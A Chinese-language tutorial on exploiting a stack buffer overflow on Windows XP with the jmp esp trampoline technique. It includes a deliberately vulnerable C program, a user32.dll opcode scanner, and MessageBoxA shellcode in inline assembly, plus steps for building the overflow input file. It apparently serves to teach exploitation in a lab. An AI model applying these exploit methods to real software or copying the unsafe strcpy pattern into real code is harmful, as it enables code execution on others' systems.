操作系统:Windows XP SP3
开发环境:VC++ 6.0
调试器:Ollydbg
栈溢出程序
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!n");
}
else
{
printf("Congratulation! You have passed the verification!n");
}
fclose(fp);
}
查找OPCODE代码
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%xn",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%xn", address);
done_flag = true;
}
}
}
Shellcode提取代码
#include <windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x00000072
push 0x69766B72
mov eax,esp //load address of rkvir
push ebx
push eax
push eax
push ebx
mov eax, 0x77D507EA//(0x77D507EA) address should be reset in different OS
call eax //call MessageboxA
push ebx
mov eax,0x7C81CAFA //(0x7C81CAFA) address should be reset in different OS
call eax //call exit(0)
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}
本次实战着重描述跳板技术的使用,之所以要引入跳板技术,是因为在实际的漏洞中,缺陷函数有可能是动态加载的DLL,所以缓冲区起始位置并不能固定,这意味着我们前几节所使用的手工查找缓冲区位置的方法并不适用于大部分情况,因此我们需要一种新的技术,可以有效控制指令可以执行到我们需要的位置上。接下来会详细描述跳板技术的应用,使用的溢出代码与前一节相同。
1. 一般情况下,在函数返回后,ESP都指向返回地址的下一行
2. 这就意味着,如果我们把shellcode放在返回地址后面,然后再使返回地址指向返回地址后面一行,就可以成功执行我们的shellcode了,既然ESP指向这一行,那么我们只需要寻找一个jmp esp指令的地址放到返回地址的位置上就可以了。这个jmp esp指令最好位于这个溢出程序必然会加载的模块中,例如我们现在使用的这个溢出程序加载了user32.dll,那么我们就可以在user32.dll中寻找一个jmp esp。寻找jmp esp有很多种方法,例如使用ollydbg的脚本或者windbg的脚本等等。这里我们使用一段代码来搜索user32的编码。就是实验代码中提供的查找opcode代码。修改图中红框的内容为自己想要搜索的模块就可以搜索其他模块。
3. 我们随便选择一个地址,然后还需要通过上一节查找API入口地址的方法查找MessageBoxA和ExitProcess的地址。(此方法查找的API入口地址不具备通用性,动态查找函数地址的方法会在后续详细描述。)
4. 获取到我们需要的所有地址后我们就可以开始构造shellcode了。我们现在暂时还不考虑如何使用高级语言或者汇编语言实现shellcode的编码,直接使用实验代码,将地址替换成本地地址后编译成可执行程序,如果可以成功弹框,并且点击确定后成功推出程序,就说明本地地址提取的没有问题。
5. 接下来使用Ollydbg打开程序,找到这段代码,提取出机器码。
6. 接下来构造password.txt,已知缓冲区长度是44,那么返回地址前面就需要有长度为52的字符串。这个字符串可以随便填充,然后填充jmp esp的地址,注意小端序。最后把刚刚提取的shellcode粘贴进去。
7. 接下来执行溢出程序,成功弹出,点击确定后执行退出函数成功。